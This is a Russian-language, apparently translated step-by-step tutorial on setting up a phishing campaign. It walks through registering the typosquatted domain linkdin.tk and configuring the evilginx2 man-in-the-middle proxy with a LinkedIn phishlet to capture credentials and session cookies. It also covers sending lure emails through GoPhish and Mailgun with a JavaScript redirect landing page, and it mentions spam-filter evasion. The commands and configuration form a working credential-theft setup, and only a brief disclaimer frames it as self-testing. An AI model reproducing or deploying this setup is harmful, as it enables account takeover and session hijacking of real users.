Примечание. Это просто мой способ внести свой вклад в сообщество специалистов по безопасности. Пожалуйста, не используйте эти знания в злонамеренных целях!
Зачем еще одно руководство по фишингу?
Недавно я смог запачкать руки фишингом и стать свидетелем реальных фишинговых кампаний благодаря невероятно талантливым людям на моем рабочем месте. Чтобы удовлетворить свое любопытство, я попытался провести небольшую фишинговую кампанию против себя и понял, что, похоже, не существует всеобъемлющего руководства для начинающих, чтобы понять процесс и помочь им настроить инфраструктура.
Итак, это моя попытка. Я собираюсь исходить из того, что вы уже знаете, что такое фишинг, но хотели бы узнать, как это сделать.
Авария
Насколько я понимаю, процесс фишинга можно разделить на две части;
- Фишинговый веб-сайт : это поддельный поддельный веб-сайт, на котором неосведомленный пользователь вводит свои учетные данные. Отсюда мы будем фиксировать указанные учетные данные вместе с их сеансовыми cookie-файлами.
- Фишинговое письмо : это электронное письмо, которое будет отправлено жертве с надеждой, что она укусит наживку и перейдет на наш поддельный веб-сайт.
Фишинговый веб-сайт
Инфраструктура и используемые инструменты
- Urlcrazy : инструмент для создания доменов с опечатками.
- Freenom : для покупки бесплатного домена для тестирования / обучения.
- evilginx2 : прокси-сервер посредника для настройки веб-сайта Phish, который может захватывать учетные данные.
- Бесплатная учетная запись Azure: бесплатная стандартная виртуальная машина Azure для настройки всей инфраструктуры и инструментов.
Получение домена
Доменное имя должно быть убедительным и достаточно похожим на домен законного веб-сайта. Можно использовать urlcrazy или catphish для создания списка доменов с опечатками.
❯ urlcrazy linkedin.com
Отмеченные домены - это некоторые примеры доменов с опечатками, из которых мы можем выбирать. Остальные все используются.
В демонстрационных целях я собираюсь купить бесплатный домен у Freenom . Они предлагают бесплатные домены из .tk, .ml, ga, .cf, .gqTLD.
Я пока куплю linkdin.tk.
Примечание: Freenom немного глючит, поэтому вам, возможно, придется указать весь домен с TLD в их поиске, чтобы иметь возможность выбрать и поместить его в корзину.
У нас есть фишинговый домен, на котором мы будем размещать наш сайт.
Получение фишинг-машины
Чтобы запустить evilginx2 , HTTP-прокси посредника. Я использую виртуальную машину уровня Azure B1S Standard под управлением Ubuntu 20.04 LTS, которую я получил бесплатно вместе с подпиской Azure для студентов .
После создания виртуальной машины откройте порты 80, 443 и 3333 для HTTP, HTTPS и GoPhish, которые мы будем использовать позже, соответственно.
Добавление записей DNS
Перейдите на страницу управления DNS в вашем домене Freenom и добавьте запись A для WWW.
Настройка EvilGinx2
Сначала установите Go, следуя приведенным здесь инструкциям, и убедитесь, что вы добавили его в свой $PATH.
Затем клонируйте репо для evilginx2 ; cdв каталог и makeдвоичный файл. Кроме того, добавьте в двоичный файл /usr/binили /usr/local/binи скопировать phishletsи templatesкаталог , /usr/share/evilginxчтобы использовать инструмент из любого пути.
❯ git clone https://github.com/kgretzky/evilginx2.git
❯ cd evilginx2
❯ make
❯ sudo cp bin/evilginx /usr/bin
❯ sudo cp -r phishlets/ /usr/share/evilginx/
❯ sudo cp -r templates /usr/share/evilginx/
Запустите evilginx2, и если фишлеты были успешно загружены, вы должны увидеть, что инструмент запущен.
Теперь отредактируйте конфигурацию, чтобы добавить свой домен, IP-адрес и URL-адрес перенаправления.
: config domain linkdin.tk
[01:25:52] [inf] server domain set to: linkdin.tk
: config ip 52.172.136.70
[01:25:59] [inf] server IP set to: 52.172.136.70
: config redirect_url https://xxxx.xxxx
[02:02:52] [inf] unauthorized request redirection URL set to: https://xxxx.xxxx
Любые сканеры, сканирующие ваш домен без параметра приманки, будут автоматически перенаправлены на redirect_urlнастроенный вами здесь
Нам также необходимо настроить сертификат TLS для нашего домена. К счастью, инструмент справится с этим за нас. Сделайте следующее;
: phishlets hostname linkedin linkdin.tk
: phishlets enable linkedin
Наш фишлет LinkedIn настроен!
Создание приманки EvilGinx2
Следующая задача - создать lureфишинговый URL для отправки жертв.
: lures create linkedin
[04:31:37] [inf] created lure with ID: 1
: lures get-url 1
https://www.linkdin.tk/BMvzCciy
Нам также необходимо добавить URL-адрес, на который жертва будет перенаправлена после входа в систему. Он отличается от URL-адреса config redirect_urlдля сканеров и непреднамеренных пользователей, а этот для жертв после входа в систему.
: lures edit 1 redirect_url https://www.linkedin.com/
[04:46:06] [inf] redirect_url = 'https://www.linkedin.com/'
Как только это произойдет, вы можете перейти к URL-адресу приманки, чтобы убедиться, что он работает.
Если вы все сделали правильно, вы должны увидеть страницу входа в LinkedIn!
Поздравляю! Теперь у вас настроен фишинговый веб-сайт!
Примечание: вы можете запустить evilginx2сеанс tmux, чтобы при выходе из ssh-соединения инструмент продолжал работать.
Фишинговая почта
Инфраструктура и используемые инструменты
- GoPhish : фишинговая платформа, используемая для управления пользователями, шаблонами электронной почты и фишинговыми кампаниями.
- Mailgun : служба электронной почты, используемая для отправки писем жертвам.
Установка GoPhish
GoPhish - это фишинговая платформа с открытым исходным кодом, которая упрощает настройку, запуск и отслеживание фишинговых кампаний. Установите его, либо загрузив двоичный файл для своей системы отсюда , либо вы можете собрать его для своей системы, используя;
❯ go get github.com/gophish/gophish
Затем перейдите в каталог установки (обычно ~/go/src/github.com/gophish/gophish) и запустите go build. В gophishвашем каталоге должен быть вызываемый двоичный файл. В том же каталоге должен быть файл с именем config.json. Здесь измените listen_urlс 127.0.0.1:3333на 0.0.0.0:3333.
Теперь вы можете запустить двоичный файл;
sudo ./gophish
Вероятно, вам следует запустить gophishэто в том же сеансе tmux, что иevilginx2
Здесь в журналах печатаются временные учетные данные. Перейдите https://[your-ip]:3333и войдите, используя эти учетные данные. Теперь вы находитесь в панели администратора GoPhish.
Настройка шаблона электронной почты в GoPhish
Здесь мы настраиваем и настраиваем электронную почту, которую получит жертва. Чтобы создать убедительный шаблон электронного письма, просмотрите свой собственный почтовый ящик и попробуйте найти существующее письмо с веб-сайта, который вы пытаетесь подделать. В моем случае я буду использовать письмо с подтверждением сброса пароля, которое я получил от LinkedIn.
Нажмите кнопку с тремя точками и загрузите письмо, которое хотите использовать в качестве шаблона.
Откройте файл и скопируйте его содержимое. Теперь перейдите на вкладку « Шаблоны электронной почты » и создайте новый шаблон. Здесь нажмите « Импортировать электронную почту» и вставьте сюда скопированное содержимое. При желании установите флажок « Изменить ссылки на целевую страницу» . В результате все ссылки в письме будут указывать на поддельную целевую страницу.
Теперь во вкладке HTML измените содержимое по своему усмотрению.
Создание убедительного электронного письма очень важно, поэтому, если вы делаете это для оценки, не торопитесь, чтобы создать фишинговое письмо.
Для справки вот мой шаблон;
Настройка целевой страницы в GoPhish
Целевая страница - это то, на что вы хотите, чтобы пользователи «приземлились», когда они щелкнули ссылку в электронном письме. Оказавшись в административной панели GoPhish, перейдите к целевым страницам и создайте новую страницу. Дайте ему имя страницы и для содержимого страницы добавьте следующее:
<html><head><script>
window.location.replace("<YOUR EVILGINX LURE URL");
</script>
</head><body></body></html>
Это должно выглядеть примерно так;
Фишинговый сервер работает http:[your-ip]:80. Это переменная шаблона для {{.URL}}. Каждый раз, когда жертва переходит на эту страницу (по ссылке ей будет предложено перейти), она будет перенаправлена на вашу evilginx2приманку.
Настройка профиля отправки с помощью GoPhish и Mailgun
Теперь, когда у нас есть фишинговая почта, поддельный веб-сайт и все инструменты, все, что нам нужно сделать, это отправить электронное письмо. Для этого мы будем использовать учетную запись пользователя бесплатного уровня Mailgun. Создайте учетную запись в Mailgun и перейдите на вкладку отправки. Здесь, в разделе SMTP, вы увидите свои учетные данные SMTP.
Также добавьте авторизованных получателей. Как пользователь бесплатного уровня, только авторизованные получатели могут получать электронные письма из вашей учетной записи Mailgun.
Теперь в профиле отправки на панели GoPhish создайте новый профиль и скопируйте свои учетные данные и настройку, как показано ниже.
Вы также можете проверить свой домен и отправлять письма через которые, следуя инструкции здесь .
Добавление пользователей в GoPhish
Вы должны добавить жертв в разделе « Пользователи и группы ». Перейдите в раздел, и вы увидите, что вы можете сделать это вручную или массово, используя их шаблон CSV.
В демонстрационных целях я отправлю письмо самому себе, поэтому добавлю своего пользователя вручную.
Создание и запуск кампании
Все настройки GoPhish готовы! Теперь все, что вам нужно сделать, это создать новую кампанию в разделе кампании, добавить всю созданную вами конфигурацию и запустить ее!
Теперь очень вероятно, что ваше письмо было помечено как фишинговое и было перемещено в папку «Спам». Вы можете перейти по ссылке в почте, и вы заметите что-то вроде этого;
Нажмите "Продолжить" и посмотрите! evilginx2начал регистрацию всех данных нового посетителя (вас).
При вводе пароля вы можете увидеть evilginx2захват и отображение учетных данных.
Выполнение sessionsкоманды покажет вам все учетные данные пользователя и файлы cookie, которые вы захватили, хотя это выходит за рамки нашей текущей области.
Последние мысли
Поздравляю! Вы успешно научились проводить фишинговую кампанию, не потратив ни единой рупии! Учитывая несколько предостережений, фишинговое письмо помечается как фишинговое, но этого можно избежать, используя небольшой надежный домен и выложив немного денег на премиум-аккаунт Mailgun.
Обратите внимание, что это только начало того, как вы можете проводить оценку фишинга. Как только вы продвинетесь дальше, сложность возрастет. В игру вступают автоматизация, уклонение от спама, обход фильтров, устаревание ваших доменов и Т. Д.
Так же попрошу вас перейти в наш телеграмм канал в котором вы можете поближе ознакомится с данной тематикой - https://t.me/WinBOMB